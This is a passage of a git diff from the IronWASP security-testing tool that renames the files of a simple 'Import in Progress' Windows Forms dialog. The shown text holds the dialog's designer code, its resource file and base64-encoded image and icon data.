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 + + + \ No newline at end of file diff --git a/IronWASP/ImportForm.Designer.cs b/Iron/ImportForm.Designer.cs similarity index 95% rename from IronWASP/ImportForm.Designer.cs rename to Iron/ImportForm.Designer.cs index 37b30b0..858ea42 100644 --- a/IronWASP/ImportForm.Designer.cs +++ b/Iron/ImportForm.Designer.cs @@ -1,87 +1,87 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ImportForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ImportForm)); - this.WaitFormProgressBar = new System.Windows.Forms.ProgressBar(); - this.SuspendLayout(); - // - // WaitFormProgressBar - // - this.WaitFormProgressBar.Location = new System.Drawing.Point(11, 30); - this.WaitFormProgressBar.MarqueeAnimationSpeed = 10; - this.WaitFormProgressBar.Maximum = 6; - this.WaitFormProgressBar.Minimum = 1; - this.WaitFormProgressBar.Name = "WaitFormProgressBar"; - this.WaitFormProgressBar.Size = new System.Drawing.Size(338, 23); - this.WaitFormProgressBar.Step = 1; - this.WaitFormProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.WaitFormProgressBar.TabIndex = 1; - this.WaitFormProgressBar.Value = 1; - // - // ImportForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(359, 92); - this.ControlBox = false; - this.Controls.Add(this.WaitFormProgressBar); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(375, 130); - this.MinimumSize = new System.Drawing.Size(375, 130); - this.Name = "ImportForm"; - this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Import in Progress....Please Wait"; - this.ResumeLayout(false); - - } - - #endregion - - internal System.Windows.Forms.ProgressBar WaitFormProgressBar; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ImportForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ImportForm)); + this.WaitFormProgressBar = new System.Windows.Forms.ProgressBar(); + this.SuspendLayout(); + // + // WaitFormProgressBar + // + this.WaitFormProgressBar.Location = new System.Drawing.Point(11, 30); + this.WaitFormProgressBar.MarqueeAnimationSpeed = 10; + this.WaitFormProgressBar.Maximum = 6; + this.WaitFormProgressBar.Minimum = 1; + this.WaitFormProgressBar.Name = "WaitFormProgressBar"; + this.WaitFormProgressBar.Size = new System.Drawing.Size(338, 23); + this.WaitFormProgressBar.Step = 1; + this.WaitFormProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.WaitFormProgressBar.TabIndex = 1; + this.WaitFormProgressBar.Value = 1; + // + // ImportForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(359, 91); + this.ControlBox = false; + this.Controls.Add(this.WaitFormProgressBar); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(375, 130); + this.MinimumSize = new System.Drawing.Size(375, 130); + this.Name = "ImportForm"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Import in Progress....Please Wait"; + this.ResumeLayout(false); + + } + + #endregion + + internal System.Windows.Forms.ProgressBar WaitFormProgressBar; + } } \ No newline at end of file diff --git a/IronWASP/ImportForm.cs b/Iron/ImportForm.cs similarity index 94% rename from IronWASP/ImportForm.cs rename to Iron/ImportForm.cs index 0e9b793..5b05b00 100644 --- a/IronWASP/ImportForm.cs +++ b/Iron/ImportForm.cs @@ -1,18 +1,18 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class ImportForm : Form - { - public ImportForm() - { - InitializeComponent(); - } - } -} +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class ImportForm : Form + { + public ImportForm() + { + InitializeComponent(); + } + } +} diff --git a/Iron/ImportForm.resx b/Iron/ImportForm.resx new file mode 100644 index 0000000..c0d1bbb --- /dev/null +++ b/Iron/ImportForm.resx @@ -0,0 +1,1918 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 